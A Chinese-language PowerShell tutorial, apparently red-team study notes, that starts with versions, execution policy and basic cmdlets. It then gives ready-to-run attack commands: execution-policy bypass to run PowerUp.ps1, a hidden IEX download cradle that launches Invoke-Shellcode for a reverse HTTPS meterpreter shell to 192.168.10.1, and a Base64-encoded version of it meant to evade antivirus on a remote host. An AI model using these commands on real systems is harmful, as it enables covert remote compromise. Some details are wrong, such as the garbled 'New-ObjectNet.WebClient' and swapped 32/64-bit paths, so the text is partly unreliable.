Window PowerShell 基础

前言

Window PowerShell 是一种命令行外壳程序和脚本环境,内置在 Windows 版本中(Win7、Windows server 2008 R2及更高版本),需要 .NET 环境支持,同时支持 .NET 对象,其可读性、可用性居于所有 Shell 之首。

特点:

  • win7 以上版本默认安装
  • 脚本可在内存中运行,不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具基于 PowerShell 开发
  • 使 Windows 脚本执行变得更加容易
  • 可用于管理活动目录

版本对照:

操作系统 PowerShell版本 是否可升级
win7/win server 2008 2.0 可升级为3.0、4.0
win8/win server 2012 3.0 可升级为4.0
win8/win server 2012 R2 4.0

查看 PowerShell 版本

Get-Host 或者 $PSVersionTable.PSVersion

image-20210925110855476

PowerShell 基础概念

1. .ps1 文件

PowerShell 脚本的文件扩展名为 .ps1 。PowerShell 脚本文件中包含一系列 PS 命令,每个命令显示为独立的一行。

2. 执行策略

为了防止使用者执行恶意脚本,PS 提供了一个执行策略。默认情况下,这个执行策略被设置为 “不能运行”。

如果 PS 脚本无法运行,可以使用下面的 cmdlet 命令查询当前的执行策略:

Get-ExecutionPolicy

image-20210925111557145

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行。
  • Unrestricted:允许所有脚本运行。

可以使用下面的 cmdlet 命令设置 PS 的执行策略:

1
Set-ExecutionPolicy <policy name>
image-20210925112408963

3. 运行脚本

要运行一个 PS 脚本,必须输入路径名(绝对路径或相对路径)和文件名。

4. 管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用 | 连接。

下面这个命令的意思是让正在运行的、名字以字符 p 开头的程序停止运行。

1
Get-Process p* | Stop-Process

PowerShell 的常用命令

1. 基本知识

在 PowerShell 中,类似 cmd 命令的命令叫作 cmdlet 命令。二者的命名规范一致,都采用 “动词-名词” 的形式,例如 “New-Item”。动词部分一般分为 Add、New、Get、Remove、Set 等。命令的别名一般兼容 windows command 和 Linux Shell,例如 Get-ChildItem 命令在 dir 和 ls 下均可使用。另外,PS 命令不区分大小写。

基本用法:

  • 新建目录:New-Item -Type Directory abc

  • 新建文件:New-Item -Type File abc

  • 删除目录:Remove-Item abc

  • 显示文本内容:Get-Content .\spider.txt

  • 设置文本内容:Set-Content .\spider.txt -Value “redisPy”

  • 追加内容:Add-Content .\spider.txt -Value “flask”

  • 清除内容:Clear-Content .\spider.txt

2. 常用命令

在 Windows 终端提示符下输入 “powershell” ,进入 PS 命令行环境。输入 “help” 命令即可显示帮助菜单。

要运行 PS 脚本,必须使用管理员权限将策略从 Restricted 改成 Unrestricted。所以,需要进行绕过。

(1)绕过本地权限并执行

1
PowerShell.exe -ExecutionPolicy Bypass -File .\PowerUp.ps1

绕过安全策略

PowerUp.ps1下载地址

powershell (管理员模式下反而没有成功)下可执行:

1
powershell.exe -exec bypass -Command "& {Import-Module d:\redteam\PowerUp.ps1; Invoke-AllChecks}"

cmd也通用。

image-20210925142512131

右边是滥用函数的利用方法。

(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

1
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");[Parameters]

通过浏览 Invoke-Shellcode.ps1 文件,了解如何调用反向 HTTPS meterpreter Shell

image-20210925143914895

最终代码如下:

1
2
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden
-NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.1 -Lport 80

参数说明(括号内为缩写形式)

  • -ExecutionPolicy Bypass (-Exec Bypass):绕过执行安全策略。

  • -WindowStyle Hidden (-W Hidden):隐藏窗口

  • -NoInteractive (-NonI):非交互模式,PS 不为用户提供交互式的提示

  • -NoProfile (-NoP):PS 控制台不加载当前用户的配置文件

  • -noexit:执行后不退出 Shell ,这个参数在使用键盘记录等脚本时非常重要

  • -NoLogo:启动不显示版本标志的 PS

(3)使用 Base64 对 PS 命令进行编码

使用 Base64 对 PS 命令进行编码的目的是为了混淆和压缩代码,从而避免脚本因为一些特殊字符被杀软查杀。

可以使用 Python 脚本对所有的 PS 命令进行 Base64 编码。下载Python脚本,使用 Base64 编码对其进行封装。将命令保存为文本文件,才能封装。

需要编码的数据:

1
IEX(New-ObjectNet.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.10.1 -Lport 80

image-20210925151154686

进行编码:

1
./ps_encoder.py -s raw.txt

image-20210925151246215

远程主机上执行命令:

1
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AYwBoAGUAZQB0AHoALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEMAbwBkAGUARQB4AGUAYwB1AHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAC0AUwBoAGUAbABsAGMAbwBkAGUALgBwAHMAMQApADsASQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQAgAC0AUABhAHkAbABvAGEAZAAgAHcAaQBuAGQAbwB3AHMALwBtAGUAdABlAHIAcAByAGUAdABlAHIALwByAGUAdgBlAHIAcwBlAF8AaAB0AHQAcABzACAALQBMAGgAbwBzAHQAIAAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAgAC0ATABwAG8AcgB0ACAAOAAwAAoA

3. 运行 32 位和 64 位 PS

一些 PS 脚本只能运行在指定的平台上。

在 64 位的 Windows 操作系统中,存在 x64 和 x86 版本的 PS,两个版本的执行策略不会互相影响。x64 版本 PS 的配置文件在 %windir%\syswow64\WindowsPowerShell\v1.0 目录下。

  • 运行 32 位 PS 脚本:
1
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
  • 运行 64 位 PS 脚本:
1
%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

powershell在线教程